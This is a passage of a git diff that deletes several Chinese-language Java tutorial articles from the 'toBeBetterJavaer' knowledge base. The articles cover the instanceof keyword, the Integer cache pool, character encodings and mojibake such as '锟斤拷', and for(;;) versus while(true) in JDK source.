->[http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/file/tip/src/share/vm/oops/oop.inline.hpp](http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/file/tip/src/share/vm/oops/oop.inline.hpp) - -分享的最后,二哥简单来说一下。 - -这个问题涉及语法细节,涉及jvm实现,涉及编译器,还涉及一点点数据结构设计,比较考验一个 Java 程序员的内功,如果要回答到论文的程度,那真的是,面试官也得提前备好知识点,不然应聘者的回答啥也听不懂就挺尴尬的。 - -反正 R 大回答里的很多细节我都是第一次听,逃了逃了。。。。。。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/instanceof.md b/docs/src/basic-extra-meal/instanceof.md deleted file mode 100644 index 95f25e16c3..0000000000 --- a/docs/src/basic-extra-meal/instanceof.md +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: 掌握 Java instanceof关键字 -shortTitle: Java instanceof关键字 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细讲解了Java中的instanceof关键字,包括其作用、用法、使用场景以及注意事项。文章通过实例解析,帮助读者深入理解instanceof关键字在Java编程中的重要性,提高编程水平和技巧。 -head: - - - meta - - name: keywords - content: Java,instanceof,instanceof关键字 ---- - -“三妹,今天我们来过一个非常简单的知识点,instanceof关键字。” - -“用不着哥你来讲了,今天就换个形式,我来讲给你听。”三妹雄赳赳气昂昂地说。 - -instanceof 关键字的用法其实很简单: - -```java -(object) instanceof (type) -``` - -用意也非常简单,判断对象是否符合指定的类型,结果要么是 true,要么是 false。在[反序列化](https://javabetter.cn/io/serialize.html)的时候,instanceof 操作符还是蛮常用的,因为这时候我们不太确定对象属不属于指定的类型,如果不进行判断的话,就容易抛出 ClassCastException 异常。 - -我们来建这样一个简单的类 Round: - -```java -class Round { -} -``` - -然后新增一个扩展类 Ring: - -```java -class Ring extends Round { -} -``` - -这时候,我们就可以通过 instanceof 来检查 Ring 对象是否属于 Round 类型。 - -```java -Ring ring = new Ring(); -System.out.println(ring instanceof Round); -``` - -结果会输出 true,因为 Ring 继承了 Round,也就意味着 Ring 和 Round 符合 ` is-a` 的关系,而 instanceof 操作符正是基于类与类之间的继承关系,以及类与接口之间的实现关系的。 - -我们再来新建一个接口 Shape: - -```java -interface Shape { -} -``` - -然后新建 Circle 类实现 Shape 接口并继承 Round 类: - -```java -class Circle extends Round implements Shape { -} -``` - -如果对象是由该类创建的,那么 instanceof 的结果肯定为 true。 - -```java -Circle circle = new Circle(); -System.out.println(circle instanceof Circle); -``` - -这个肯定没毛病,instanceof 就是干这个活的,大家也很好理解。那如果类型是父类呢? - -```java -System.out.println(circle instanceof Round); -``` - -结果肯定还是 true,因为依然符合 `is-a` 的关系。那如果类型为接口呢? - -```java -System.out.println(circle instanceof Shape); -``` - -结果仍然为 true, 因为也符合 `is-a` 的关系。如果要比较的对象和要比较的类型之间没有关系,当然是不能使用 instanceof 进行比较的。 - -为了验证这一点,我们来创建一个实现了 Shape 但与 Circle 无关的 Triangle 类: - -``` java -class Triangle implements Shape { -} -``` - -这时候,再使用 instanceof 进行比较的话,编译器就报错了。 - -```java - System.out.println(circle instanceof Triangle); -``` - -错误信息如下所示: - -``` -Inconvertible types; cannot cast 'com.itwanger.twentyfour.instanceof1.Circle' to 'com.itwanger.twentyfour.instanceof1.Triangle' -``` - -意思就是类型不匹配,不能转换,我们使用 instanceof 比较的目的,也就是希望如果结果为 true 的时候能进行类型转换。但显然 Circle 不能转为 Triangle。 - -编译器已经提前帮我们预知了,很聪明。 - -Java 是一门面向对象的编程语言,也就意味着除了基本数据类型,所有的类都会隐式继承 Object 类。所以下面的结果肯定也会输出 true。 - -```java -Thread thread = new Thread(); -System.out.println(thread instanceof Object); -``` - -“那如果对象为 null 呢?”我这时候插话了。 - -“这个还真的是一个好问题啊。”三妹忍不住对我竖了一个大拇指。 - -```java -System.out.println(null instanceof Object); -``` - -只有对象才会有 null 值,所以编译器是不会报错的,只不过,对于 null 来说,instanceof 的结果为 false。因为所有的对象都可以为 null,所以也不好确定 null 到底属于哪一个类。 - -通常,我们是这样使用 instanceof 操作符的。 - -```java -// 先判断类型 -if (obj instanceof String) { - // 然后强制转换 - String s = (String) obj; - // 然后才能使用 -} -``` - -先用 instanceof 进行类型判断,然后再把 obj 强制转换成我们期望的类型再进行使用。 - -JDK 16 的时候,instanceof 模式匹配转了正,意味着使用 instanceof 的时候更便捷了。 - -```java -if (obj instanceof String s) { - // 如果类型匹配 直接使用 s -} -``` - -可以直接在 if 条件判断类型的时候添加一个变量,就不需要再强转和声明新的变量了。 - -“哇,这样就简洁了呀!”为了配合三妹,我不仅惊叹到! - -“好了,关于 instanceof 操作符我们就先讲到这吧,难是一点都不难,希望哥也能够很好的掌握。”三妹笑嘻嘻地说,看来她很享受这个讲的过程嘛。 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/int-cache.md b/docs/src/basic-extra-meal/int-cache.md deleted file mode 100644 index 5324391874..0000000000 --- a/docs/src/basic-extra-meal/int-cache.md +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: Java基本数据类型缓存池剖析(IntegerCache) -shortTitle: Java基本数据类型缓存池 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细介绍了Java基本数据类型缓存池,包括其工作原理、应用场景以及如何使用缓存池提高内存利用效率。通过本文,您将了解到Java基本数据类型缓存池的优化策略和实践,掌握如何在实际开发中合理使用缓存池,提高程序性能。 -head: - - - meta - - name: keywords - content: Java, 基本数据类型, 缓存池, 内存优化, 缓存池原理, 缓存池应用, 缓存池实践 ---- - -“三妹,今天我们来补一个小的知识点:Java 基本数据类型缓存池。”我喝了一口枸杞泡的茶后对三妹说,“考你一个问题哈:`new Integer(18) 与 Integer.valueOf(18)` 的区别是什么?” - -“难道不一样吗?”三妹有点诧异。 - -“不一样的。”我笑着说。 - -- `new Integer(18)` 每次都会新建一个对象; -- `Integer.valueOf(18)` 会使⽤用缓存池中的对象,多次调用只会取同⼀一个对象的引用。 - -来看下面这段代码: - -```java -Integer x = new Integer(18); -Integer y = new Integer(18); -System.out.println(x == y); - -Integer z = Integer.valueOf(18); -Integer k = Integer.valueOf(18); -System.out.println(z == k); - -Integer m = Integer.valueOf(300); -Integer p = Integer.valueOf(300); -System.out.println(m == p); -``` - -来看一下输出结果吧: - -``` -false -true -false -``` - -“第一个 false,我知道原因,因为 new 出来的是不同的对象,地址不同。”三妹解释道,“第二个和第三个我认为都应该是 true 啊,为什么第三个会输出 false 呢?这个我理解不了。” - -“其实原因也很简单。”我胸有成竹地说。 - -基本数据类型的包装类除了 Float 和 Double 之外,其他六个包装器类(Byte、Short、Integer、Long、Character、Boolean)都有常量缓存池。 - -- Byte:-128~127,也就是所有的 byte 值 -- Short:-128~127 -- Long:-128~127 -- Character:\u0000 - \u007F -- Boolean:true 和 false - -拿 Integer 来举例子,Integer 类内部中内置了 256 个 Integer 类型的缓存数据,当使用的数据范围在 -128~127 之间时,会直接返回常量池中数据的引用,而不是创建对象,超过这个范围时会创建新的对象。 - - 18 在 -128~127 之间,300 不在。 - -来看一下 valueOf 方法的源码吧。 - -```java -public static Integer valueOf(int i) { - if (i >=IntegerCache.low && i <=IntegerCache.high) - return IntegerCache.cache[i + (-IntegerCache.low)]; - return new Integer(i); -} -``` - -“哦,原来是因为 Integer.IntegerCache 这个内部类的原因啊!”三妹好像发现了新大陆。 - -“是滴。来看一下 IntegerCache 这个静态内部类的源码吧。” - -```java -private static class IntegerCache { - static final int low = -128; - static final int high; - static final Integer cache[]; - - static { - // high value may be configured by property - int h = 127; - String integerCacheHighPropValue = - sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high"); - if (integerCacheHighPropValue != null) { - try { - int i = parseInt(integerCacheHighPropValue); - i = Math.max(i, 127); - // Maximum array size is Integer.MAX_VALUE - h = Math.min(i, Integer.MAX_VALUE - (-low) -1); - } catch( NumberFormatException nfe) { - // If the property cannot be parsed into an int, ignore it. - } - } - high = h; - - cache = new Integer[(high - low) + 1]; - int j = low; - for(int k = 0; k < cache.length; k++) - cache[k] = new Integer(j++); - - // range [-128, 127] must be interned (JLS7 5.1.7) - assert Integer.IntegerCache.high >= 127; - } - - private IntegerCache() {} -} -``` - -详细解释下:当我们通过 `Integer.valueOf()` 方法获取整数对象时,会先检查该整数是否在 IntegerCache 中,如果在,则返回缓存中的对象,否则创建一个新的对象并缓存起来。 - -需要注意的是,如果使用 `new Integer()` 创建对象,即使值在 -128 到 127 范围内,也不会被缓存,每次都会创建新的对象。因此,推荐使用 `Integer.valueOf()` 方法获取整数对象。 - -[学习 static 关键字](https://javabetter.cn/oo/static.html)的时候,会详细解释静态代码块,你暂时先记住,三妹,静态代码块通常用来初始化一些静态变量,它会优先于 main() 方法执行。 - -在静态代码块中,low 为 -128,也就是缓存池的最小值;high 默认为 127,也就是缓存池的最大值,共计 256 个。 - -*可以在 JVM 启动的时候,通过 `-XX:AutoBoxCacheMax=NNN` 来设置缓存池的大小,当然了,不能无限大,最大到 `Integer.MAX_VALUE -129`* - -之后,初始化 cache 数组的大小,然后遍历填充,下标从 0 开始。 - -“明白了吧?三妹。”我喝了一口水后,扭头看了看旁边的三妹。 - -“这段代码不难理解,难理解的是 `assert Integer.IntegerCache.high >= 127;`,这行代码是干嘛的呀?”三妹很是不解。 - -“哦哦,你挺细心的呀!”三妹真不错,求知欲望越来越强烈了。 - -assert 是 Java 中的一个关键字,寓意是断言,为了方便调试程序,并不是发布程序的组成部分。 - -默认情况下,断言是关闭的,可以在命令行运行 Java 程序的时候加上 `-ea` 参数打开断言。 - -来看这段代码。 - -```java -public class AssertTest { - public static void main(String[] args) { - int high = 126; - assert high >= 127; - } -} -``` - -假设手动设置的缓存池大小为 126,显然不太符合缓存池的预期值 127,结果会输出什么呢? - -直接在 Intellij IDEA 中打开命令行终端,进入 classes 文件,执行: - -``` - /usr/libexec/java_home -v 1.8 --exec java -ea com.itwanger.s51.AssertTest -``` - -*我用的 macOS 环境,装了好多个版本的 JDK,该命令可以切换到 JDK 8* - -也可以不指定 Java 版本直接执行(加上 `-ea` 参数): - -``` -java -ea com.itwanger.s51.AssertTest -``` - -“呀,报错了呀。”三妹喊道。 - -``` -Exception in thread "main" java.lang.AssertionError - at com.itwanger.s51.AssertTest.main(AssertTest.java:9) -``` - -“是滴,因为 126 小于 127。”我回答道。 - -“原来 assert 是这样用的啊,我明白了。”三妹表示学会了。 - -在 Java 中,针对一些基本数据类型(如 Integer、Long、Boolean 等),Java 会在程序启动时创建一些常用的对象并缓存在内存中,以提高程序的性能和节省内存开销。这些常用对象被缓存在一个固定的范围内,超出这个范围的值会被重新创建新的对象。 - -使用数据类型缓存池可以有效提高程序的性能和节省内存开销,但需要注意的是,在特定的业务场景下,缓存池可能会带来一些问题,例如缓存池中的对象被不同的线程同时修改,导致数据错误等问题。因此,在实际开发中,需要根据具体的业务需求来决定是否使用数据类型缓存池。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/java-unicode.md b/docs/src/basic-extra-meal/java-unicode.md deleted file mode 100644 index 92bbc6f6f3..0000000000 --- a/docs/src/basic-extra-meal/java-unicode.md +++ /dev/null @@ -1,262 +0,0 @@ ---- -title: 解决中文乱码:字符编码全攻略 - ASCII、Unicode、UTF-8、GB2312详解 -shortTitle: 中文乱码及字符编码全攻略 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文深入探讨中文乱码及字符编码问题,详细介绍了ASCII、Unicode、UTF-8、GB2312等编码格式的原理与特点。通过理解字符编码的发展历程,可以更好地解决中文乱码问题。本文还将探讨不同编码之间的转换方法,帮助程序员在编程过程中轻松应对字符编码问题,提高代码质量和可读性。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java,中文乱码, 字符编码, ASCII, Unicode, UTF-8, GB2312, 解决乱码, 编码详解, 编码原理 ---- - -就在昨天,我在[二哥的编程星球](https://javabetter.cn/zhishixingqiu/)里看到这样一张截图,有球友反馈说支付宝的理财页面出现了中文乱码,估计不少小伙伴和我一样,都惊呆了😮!阿里这种大厂还能出现这种低级错误? - -![](https://cdn.paicoding.com/stutymore/java-unicode-20230408135521.png) - -难道昨天的人力都投入到“通义千问”的突然发布上了? - -那借这个机会,我就来和大家探讨一下,中文乱码是怎么出现的,以及如何快速解决乱码问题。 - -### 什么是中文乱码 - -Q:什么是中文乱码? - -GPT4:中文乱码是指在计算机系统或软件中,由于字符编码不一致或处理不当,导致中文字符无法正常显示,出现乱码现象。这种现象通常表现为中文字符被替换成其他不相关的字符、符号或乱码。 - -比如说,历史上著名的“锟斤拷”同学,就是中文乱码的绝佳代言人。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-06.png) - -### 什么是字符编码 - -Q:那什么是字符编码呢? - -GPT4:字符编码(Character Encoding)是一种规则或约定,它将字符(如字母、数字、标点符号等)映射到计算机中的二进制数据。简单来说,字符编码就是将人类可读的字符转换为计算机可以处理的二进制数据的过程。 - -对于计算机来说,只认 0 和 1,所有的信息最终都是一个二进制数。一个二进制数要么是 0,要么是 1。8 个二进制数放在一起是一个字节,就会组合出 256 种状态,也就是 2 的 8 次方(`2^8`),从 00000000 到 11111111。 - -为了让计算机能够识别和处理各种字符,需要使用字符编码来对字符进行编码和解码。常见的字符编码包括 ASCII、UTF-8、UTF-16、GBK、GB2312 等。 - -![](https://cdn.paicoding.com/studymore/char-byte-20230322174312.png) - -#### **1)ASCII** - -ASCII 码由电报码发展而来,第一版标准发布于 1963 年,最后一次更新则是在 1986 年,至今为止共定义了 128 个字符。其中 33 个字符无法显示在一般的设备上,需要用特殊的设备才能显示。 - -ASCII 码的局限在于只能显示 26 个基本拉丁字母、阿拉伯数字和英式标点符号,因此只能用于显示现代美国英语,对于其他一些语言则无能无力,比如在法语中,字母上方有注音符号,它就无法用 ASCII 码表示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-01.png) - -PS:拉丁字母(也称为罗马字母)是多数欧洲语言采用的字母系统,是世界上最通行的字母文字系统,是罗马文明的成果之一。 - -虽然名称上叫作拉丁字母,但拉丁文中并没有用 J、U 和 W 这三个字母。 - -在我的印象中,可能说拉丁字母多少有些陌生,说英语字母可能就有直观的印象了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-02.png) - -阿拉伯数字,我们都很熟悉了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-03.png) - -但是,阿拉伯数字并非起源于阿拉伯,而是起源于古印度。学过历史的你应该有一些印象,阿拉伯分布于西亚和北非,以阿拉伯语为主要语言,以伊斯兰教为主要信仰。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-04.png) - -处在这样的地理位置,做起东亚和欧洲的一些生意就很有优势,于是阿拉伯数字就由阿拉伯人传到了欧洲,因此得名。 - -英式标点符号,也叫英文标点符号,和中文标点符号很相近。标点符号是辅助文字记录语言的符号,是书面语的组成部分,用来表示停顿、加强语气等。 - -英文标点符号在 16 世纪时,分为朗诵学派和句法学派,主要由古典时期的希腊文和拉丁文演变而来,在 17 世纪后进入稳定阶段。俄文的标点符号依据希腊文而来,到了 18 世纪后也采用了英文标点符号。 - -在很多人的印象中,古文是没有标点符号的,但管锡华博士研究指出,**中国早在先秦时代就有标点符号了**,后来融合了一些英文标点符号后,逐渐形成了现在的中文标点符号。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-05.png) - - -#### **2)Unicode** - -这个世界上,除了英语,还有法语、葡萄牙语、西班牙语、德语、俄语、阿拉伯语、韩语、日语等等等等。ASCII 码用来表示英语是绰绰有余的,但其他这些语言就没办法了。 - -像我的主人二哥的母语——中文,就博大精深,与其对应的汉字数量很多很多,东汉的《说文解字》收字 9353 个,清朝《康熙字典》收字 47035 个,当代的《汉语大字典》收字 60370 个。1994 年中华书局、中国友谊出版公司出版的《中华字海》收字 85568 个。 - ->常用字大概 2500 个,次常用字 1000 个。 - -一个字节只能表示 256 种符号,所以如果拿 ASCII 码来表示汉字的话,是远远不够用的,那就必须要用更多的字节。简体中文常见的编码方式是 GB2312,使用两个字节表示一个汉字,理论上最多可以表示 256 x 256 = 65536 个符号。 - -要知道,世界上存在着多种编码方式,同一个二进制数字可以被解释成不同的符号。因此,要想打开一个文本文件,就必须知道它的编码方式,否则用错误的编码方式解读,就会出现乱码。 - -- 编码就是将原始数据(比如说文本、图像、视频、音频等)转换为二进制形式。 -- 解码就是将二进制数据转换为原始数据,是一个反向的过程。 - -如果有一种编码,将世界上所有的符号都纳入其中。每一个符号都给予一个独一无二的编码,那么乱码问题就会彻底消失。 - -这个艰巨的任务由谁来完成呢?**Unicode**,中文译作万国码、国际码、统一码、单一码,就像它的名字都表示的,这是一种所有符号的编码。 - -Unicode 至今仍在不断增修,每个新版本都会加入更多新的字符。目前最新的版本为 2020 年 3 月公布的 13.0,收录了 13 万个字符。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/ten-07.png) - -Unicode 是一个很大的集合,现在的规模可以容纳 100 多万个符号。每个符号的编码都不一样,比如,`U+0639`表示阿拉伯字母 `Ain`,`U+0041` 表示英语的大写字母 `A`,`U+4E25` 表示汉字`严`。 - -具体的符号对应表,可以查询: - ->- unicode.org:[http://www.unicode.org](http://www.unicode.org) ->- 汉字对应表:[ttp://www.chi2ko.com/tool/CJK.htm](http://www.chi2ko.com/tool/CJK.htm) - -曾有人这样说: - ->Unicode 支持的字符上限是 65536 个,Unicode 字符必须占两个字节。 - -但这是一种误解,记住,Unicode 只是一个用来映射字符和数字的标准。它对支持字符的数量没有限制,也不要求字符必须占两个、三个或者其它任意数量的字节,所以它可以无穷大。 - -#### 3)UTF-8 - -Unicode 虽然统一了全世界字符的编码,但没有规定如何存储。如果统一规定的话,每个符号就要用 3 个或 4 个字节表示,因为 2 个字节只能表示 65536 个,根本表示不全。 - -那怎么办呢? - -UTF(Unicode Transformation Formats,Unicode 的编码方式)来了!最常见的就是 UTF-8 和 UTF-16。 - -在 UTF-8 中,0-127 号的字符用 1 个字节来表示,使用和 ASCII 相同的编码。只有 128 号及以上的字符才用 2 个、3 个或者 4 个字节来表示。 - -如果只有一个字节,那么最高的比特位为 0;如果有多个字节,那么第一个字节从最高位开始,连续有几个比特位的值为 1,就使用几个字节编码,剩下的字节均以 10 开头。 - -具体的表现形式为: - -- 0xxxxxxx:一个字节; -- 110xxxxx 10xxxxxx:两个字节编码形式(开始两个 1); -- 1110xxxx 10xxxxxx 10xxxxxx:三字节编码形式(开始三个 1); -- 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx:四字节编码形式(开始四个 1)。 - -也就是说,UTF-8 是一种可变长度的编码方式——这是它的优势也是劣势。 - -怎么讲呢?优势就是它包罗万象,劣势就是浪费空间。举例来说吧,UTF-8 采用了 3 个字节(`256*256*256=16777216`)来编码常用的汉字,但常用的汉字没有这么多,这对于计算机来说,就是一种严重的资源浪费。 - -#### 4)GB2312 - -基于这样的考虑,中国国家标准总局于 1980 年发布了 GB2312 编码,即中华人民共和国国家标准简体中文字符集。GB2312 标准共收录 6763 个汉字(2 个字节就够用了),其中一级汉字 3755 个,二级汉字 3008 个;同时收录了包括拉丁字母、希腊字母、日文平假名及片假名字母、俄语西里尔字母在内的 682 个字符。 - -GB2312 的出现,基本满足了汉字的计算机处理需求。对于人名、古汉语等方面出现的罕用字和繁体字,GB2312 不能处理,就有了 GBK(K 为“扩展”的汉语拼音(kuòzhǎn)第一个声母)。 - -### 中文乱码是如何出现的? - -Q:来一串出现中文乱码的 demo,中文为沉默王二 - -GPT4:下面是一个可能导致中文乱码的示例。首先使用 GBK 编码将中文字符串 "沉默王二" 转换为字节数组,然后使用 UTF-8 编码将字节数组转回字符串。这将导致字符串在解码时出现乱码。 - -```java -public class EncodingDemo { - public static void main(String[] args) { - String originalStr = "沉默王二"; - String encodedStr = ""; - - try { - byte[] bytes = originalStr.getBytes("GBK"); - encodedStr = new String(bytes, "UTF-8"); - } catch (UnsupportedEncodingException e) { - e.printStackTrace(); - } - - System.out.println("转码前: " + originalStr); - System.out.println("转码后: " + encodedStr); - } -} -``` - -程序会输出什么呢? - -``` -转码前: 沉默王二 -转码后: ��Ĭ���� -``` - -嘿嘿,乱码来了!在 Unicode 中,� 是一个特殊的符号,它用来表示无法显示,它的十六进制是 `0xEF 0xBF 0xBD`。那么两个 �� 就是 `0xEF 0xBF 0xBD 0xEF 0xBF 0xBD`,如果用 GBK 进行解码的话,就是大名鼎鼎的“**锟斤拷**”。 - -可以通过代码来验证一下: - -```java -// 输出 efbfbdefbfbd -char[] kuijinkao = HexUtil.encodeHex("��", StandardCharsets.UTF_8); -System.out.println(kuijinkao); -// 借助 hutool 转成二进制 -byte[] testBytes = HexUtil.decodeHex(kuijinkao); -// 使用 GBK 解码 -String testResult = new String(testBytes, Charset.forName("GBK")); -// 输出锟斤拷 -System.out.println(testResult); -``` - -来看一下输出结果: - -```java -efbfbdefbfbd -锟斤拷 -``` - -所以,以后再见到**锟斤拷**,第一时间想到 UTF-8 和 GBK 的转换问题准没错。 - -### 如何解决中文乱码呢? - -Q:如何解决中文乱码呢? - -GPT4:解决中文乱码问题需要确保在编码和解码过程中使用相同的字符编码。这是一个修改过的示例,展示了如何避免中文乱码问题: - -```java -String originalStr = "沉默王二"; - -byte[] bytes = originalStr.getBytes(StandardCharsets.UTF_8); -String encodedStr = new String(bytes, StandardCharsets.UTF_8); - -System.out.println("正确转码前: " + originalStr); -System.out.println("正确转码后: " + encodedStr); -``` - -输出结果: - -```java -正确转码前: 沉默王二 -正确转码后: 沉默王二 -``` - -除此之外,以下是一些避免乱码的实践: - -- 使用统一的字符编码,如 UTF-8。它包含了所有 Unicode 字符,并且广泛支持。确保在所有平台和系统上使用相同的编码。 -- 在处理文本文件时,始终明确指定字符编码。例如,在 Java 中使用 InputStreamReader、OutputStreamWriter 时,指定编码参数。 -- 在 HTML、XML 等文档中,指定字符编码。例如,在 HTML 页面中添加 ``。 -- 对于数据库,确保使用正确的字符集。在创建数据库和表时,明确指定字符集,如 utf8mb4。 - -当与第三方服务通信时,确保双方使用相同的字符编码。在处理 API 请求和响应时,检查字符编码是否匹配。 - -Q:针对支付宝这种生产环境事故,如何快速定位并解决问题呢? - -GPT4: - -1、收集信息:了解问题的具体表现,例如哪些页面或功能受到影响,问题的严重程度,以及用户反馈。这将有助于快速定位问题范围。 - -2、检查日志:查看服务器日志和应用程序日志,检查是否存在异常信息或错误。日志信息有助于识别问题发生的时间和具体原因。 - -3、复现问题:在测试环境中尝试复现问题,以便更深入地了解问题细节。如果无法复现问题,可能需要进一步收集生产环境的详细信息。 - -4、定位问题:根据收集到的信息,确定问题可能发生的代码或系统部分。检查相关代码,特别是涉及字符编码、数据传输、数据库操作的部分。 - -5、解决问题:修复问题代码,确保字符编码在整个系统中保持一致。进行单元测试和集成测试,验证问题是否已解决。 - -6、部署修复:将修复后的代码部署到生产环境。为了避免影响正常服务,可以考虑先在一个小规模的生产环境中进行验证,然后逐步扩大部署范围。 - -7、监控:在修复后持续关注系统运行状况,确保问题已得到解决。收集用户反馈,确认用户满意度。 - -8、总结经验:针对此次问题,总结经验教训,分析问题产生的根本原因,优化开发和测试流程,避免类似问题再次发生。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/jdk-while-for-wuxian-xunhuan.md b/docs/src/basic-extra-meal/jdk-while-for-wuxian-xunhuan.md deleted file mode 100644 index 563238326d..0000000000 --- a/docs/src/basic-extra-meal/jdk-while-for-wuxian-xunhuan.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: 为什么JDK源码中,无限循环大多使用for(;;)而不是while(true)? -shortTitle: JDK源码无限循环大多使用for(;;)而不是while(true)? -category: - - Java核心 -tag: - - Java重要知识点 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,为什么JDK源码中,无限循环大多使用for(;;)而不是while(true)? -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,jdk,无限循环,for,while ---- - - - -在知乎上看到 R 大的这篇回答,着实感觉需要分享给在座的各位 javaer 们,真心透彻。 - ->[https://www.zhihu.com/question/52311366/answer/130090347](https://www.zhihu.com/question/52311366/answer/130090347) - ------ - -首先是先问是不是再问为什么系列。 - -在JDK8u的jdk项目下做个很粗略的搜索: - -``` -mymbp:/Users/me/workspace/jdk8u/jdk/src -$ egrep -nr "for \\(\\s?;\\s?;" . | wc -l - 369 -mymbp:/Users/me/workspace/jdk8u/jdk/src -$ egrep -nr "while \\(true" . | wc -l - 323 -``` - -并没有差多少。 - -其次,for (;;) 在Java中的来源。个人看法是喜欢用这种写法的人,追根溯源是受到C语言里的写法的影响。这些人不一定是自己以前写C习惯了这样写,而可能是间接受以前写C的老师、前辈的影响而习惯这样写的。 - -在C语言里,如果不include某些头文件或者自己声明的话,是没有内建的_Bool / bool类型,也没有TRUE / FALSE / true / false这些_Bool / bool类型值的字面量的。 - -所以,假定没有include那些头文件或者自己define出上述字面量,一个不把循环条件写在while (...)括号里的while语句,最常见的是这样: -``` -while (1) { - /* ... */ - } -``` - - …但不是所有人都喜欢看到那个魔数“1”的。 - - 而用for (;;)来表达不写循环条件(也就是循环体内不用break或goto就会是无限循环)则非常直观——这就是for语句本身的功能,而且不需要写任何魔数。所以这个写法就流传下来了。 - -顺带一提,在Java里我是倾向于写while (true)的,不过我也不介意别人在他们自己的项目里写for (;;)。 - -===================================== - -至于Java里while (true)与for (;;)哪个“效率更高”。这种规范没有规定的问题,答案都是“看实现”,毕竟实现只要保证语义符合规范就行了,而效率并不在规范管得着的范畴内。 - -以Oracle/Sun JDK8u / OpenJDK8u的实现来看,首先看javac对下面俩语句的编译结果: - -```java -public void foo() { - int i = 0; - while (true) { i++; } - } - -/* - public void foo(); - Code: - stack=1, locals=2, args_size=1 - 0: iconst_0 - 1: istore_1 - 2: iinc 1, 1 - 5: goto 2 -*/ -``` - - -与 - -```java -public void bar() { - int i = 0; - for (;;) { i++; } - }``` - -/* - public void bar(); - Code: - stack=1, locals=2, args_size=1 - 0: iconst_0 - 1: istore_1 - 2: iinc 1, 1 - 5: goto 2 -*/ -``` - -连javac这种几乎什么优化都不做(只做了Java语言规范规定一定要做的常量折叠,和非常少量别的优化)的编译器,对上面俩版本的代码都生成了一样的字节码。后面到解释执行、JIT编译之类的就不用说了,输入都一样,输出也不会不同。 - ------ - -分享的最后,二哥简单说几句。 - -可能在我们普通人眼中,这种问题完全没有求真的必要性,但 R大认真去研究了,并且得出了非常令人信服的答案。 - -所以,牛逼之人必有三连之处啊。 - -以后就可以放心大胆在代码里写 `for(;;) while(true)` 这样的死循环了。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - 